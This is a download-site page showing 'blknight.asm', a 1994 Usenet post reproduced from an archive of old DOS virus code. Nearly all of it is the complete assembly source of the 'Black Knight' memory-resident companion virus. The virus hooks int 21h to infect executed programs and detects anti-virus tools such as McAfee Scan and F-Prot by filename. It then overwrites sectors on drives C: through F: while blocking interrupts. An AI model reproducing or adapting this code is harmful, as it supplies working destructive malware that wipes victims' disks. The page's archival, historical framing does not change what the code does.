⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 blknight.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994Xref: netcom.com alt.comp.virus:508Path: netcom.com!ix.netcom.com!netnewsFrom: Zeppelin@ix.netcom.com (Mr. G)Newsgroups: alt.comp.virusSubject: BlackKnight Virus (ANTI AV VIRUS)Date: 29 Nov 1994 13:09:23 GMTOrganization: NetcomLines: 376Distribution: worldMessage-ID: <3bf963$idi@ixnews1.ix.netcom.com>References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>NNTP-Posting-Host: ix-pas2-10.ix.netcom.com;Black Knight Anti-Virus-Virus;Size - 520;;Tasm BKNIGHT;Tlink /T BKNIGHT;Memory Resident Companion Virus;Anti-Anti-Virus ;Formats Drives C: to F: When Anti-Virus Product Is Ran;Tempest - _ Of Luxenburg;		.radix 16     cseg       segment		model  small		assume cs:cseg, ds:cseg, es:cseg		org 100hoi21            equ enditfilelength      equ endit - beginnameptr         equ endit+4DTA             equ endit+8	 begin:          jmp     virus_install                              virus_name:            		db     'Black Knight'								 ;installvirus_install:  		nop		nop		nop		mov     ax,cs                    ; reduce memory size     		dec     ax                           		mov     ds,ax                        		cmp     byte ptr ds:[0000],5a        		jne     cancel                        		mov     ax,ds:[0003]                 		sub     ax,100                        		mov     ds:0003,axZopy_virus:  		mov     bx,ax                    ; copy to claimed block  		mov     ax,es                        		add     ax,bx                       		mov     es,ax		mov     cx,offset endit - begin                    		mov     ax,ds                       		inc     ax		mov     ds,ax		lea     si,ds:[begin]            		lea     di,es:0100                  		rep     movsb                       						    Grab_21:                                     				mov     ds,cx                   ; hook int 21h		mov     si,0084h                ; 		mov     di,offset oi21		mov     dx,offset check_exec		lodsw		cmp     ax,dx                   ;		je      cancel                  ; exit, if already installed		stosw		movsw				push    es 		pop     ds		mov     ax,2521h                ; revector int 21h to virus		nop		int     21h		nop                                cancel:         ret          check_exec:     		pushf		push    es                     ; push everything onto the		push    ds                     ; stack		push    ax		push    bx		push    dx		cmp     ax,04B00h               ; is the file being 								jne     abort                   ; executed?									     ;if yes, try the_stingerdo_infect:      call    infect                  ; then try to infect							      abort:                                        ; restore everything		pop     dx		pop     bx		pop     ax		pop     ds		pop     es		popfBye_Bye:      				   ; exit		jmp     dword ptr cs:[oi21]                     new_24h:        		mov     al,3             ; critical error handler		iretinfect:          		mov     cs:[name_seg],ds       ; here, the virus essentially		mov     cs:[name_off],dx       ; copies the name of the				cld                            ; loaded file into a buffer		mov     di,dx                  ; so that it can be compared		push    ds                     ; against the default names		pop     es                     ; in the_stinger		mov     al,'.'                 ; subroutine 		repne   scasb                  ; <-- 				call    the_stinger            ; check for anti-virus load					       ; and deploy the_stinger								cld		mov     word ptr cs:[nameptr],dx		mov     word ptr cs:[nameptr+2],ds		mov     ah,2Fh		int     21h		push    es		push    bx		push    cs		pop     ds		mov     dx,offset DTA		mov     ah,1Ah		int     21h		call    searchpoint		push    di		mov     si,offset COM_txt		mov     cx,3	 rep    cmpsb 		pop     di		jz      do_com		mov     si,offset EXE_txt		nop		mov     cl,3		rep     cmpsb		jnz     returndo_exe:         mov     si,offset COM_txt		nop		call    change_ext		mov     ax,3300h		nop		int     21h		push    dx		cwd		inc     ax		push    ax		int     21hGrab24h:        				mov     ax,3524h         		int     21h        		push    bx		push    es		push    cs		pop     ds		mov     dx,offset new_24h		mov     ah,25h		push    ax		int     21h						lds     dx,dword ptr [nameptr]  ;create the virus (unique name)		xor     cx,cx		mov     ah,05Bh		int     21		jc      return1                 		xchg    bx,ax                   ;save handle				push    cs		pop     ds		mov     cx,filelength          ;cx= length of virus		mov     dx,offset begin        ;where to start copying		mov     ah,40h                 ;write the virus to the 		int     21h                    ;new file		mov     ah,3Eh                 ; close		int     21hreturn1:        pop     ax		pop     ds		pop     dx		int     21h				pop     ax		pop     dx		int     21h				mov     si,offset EXE_txt		call    change_ext		return:         mov     ah,1Ah		pop     dx		pop     ds		int      21H		retdo_com:         call    findfirst                 		cmp     word ptr cs:[DTA+1Ah],endit - begin		jne     return		mov     si,offset EXE_txt		call    change_ext		call    findfirst		jnc     return		mov     si,offset COM_txt		call    change_ext		jmp     short returnsearchpoint:    les     di,dword ptr cs:[nameptr]		mov     ch,0FFh		mov     al,0	 repnz  scasb		sub     di,4		retchange_ext:     call    searchpoint		push    cs		pop     ds		movsw		movsw		retfindfirst:      lds     dx,dword ptr [nameptr]		mov     cl,27h		mov     ah,4Eh		int     21h		ret			 the_stinger:		cmp     word ptr es:[di-3],'MI'    ;Integrity Master		je      jumptoass                				cmp     word ptr es:[di-3],'XR'    ;VIRX		je      jumptoass                				cmp     word ptr es:[di-3],'PO'    ;VIRUSTOP		jne     next1                     		cmp     word ptr es:[di-5],'TS'   		je      jumptoass                next1:          cmp     word ptr es:[di-3],'VA'    ;AV = CPAV		je      jumptoass                     				cmp     word ptr es:[di-3],'TO'    ;*prot = F-prot		jne     next2                		cmp     word ptr es:[di-5],'RP'  		je      jumptoass                     next2:          cmp     word ptr es:[di-3],'NA'    ;*scan = McAfee's Scan.		jne     next3                		cmp     word ptr es:[di-5],'CS'  		je      jumptoass                     				cmp     word ptr es:[di-3],'NA'    ;*lean = McAfee's CLEAN.		jne     next3                      ; why not, eh?		cmp     word ptr es:[di-5],'EL'  		je      jumptoass                     next3:          ret                jumptoass:      jmp     nuke                  ;assassination (deletion)						; of anti-virus program				nuke:                		mov     al,2                   ;Lets Total The C: Drive		mov     cx,25		cli                             ; Keeps Victim From Aborting		cwd                          		int     026h                		sti                         		mov     al,3                   ;Lets Total The D: Drive		mov     cx,25		cli                             ; Keeps Victim From Aborting		cwd                          		int     026h                		sti                         		mov     al,3                   ;Lets Total The E: Drive		mov     cx,25		cli                             ; Keeps Victim From Aborting		cwd                          		int     026h                		sti                         		mov     al,5                   ;Lets Total The F: Drive		mov     cx,25		cli                             ; Keeps Victim From Aborting		cwd                          		int     026h                		sti                         EXE_txt         db  'EXE',0COM_txt         db  'COM',0 data_1          db      0data_2          db      0last            db     090Hname_seg        dw  ?name_off        dw  ?c1              db       0          c2              db       0          c3              db       0          c4              db       0          c5              db       0          virus_man:      db      'Tempest - _ Of Luxenburg'			   endit:cseg            ends		end begin

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -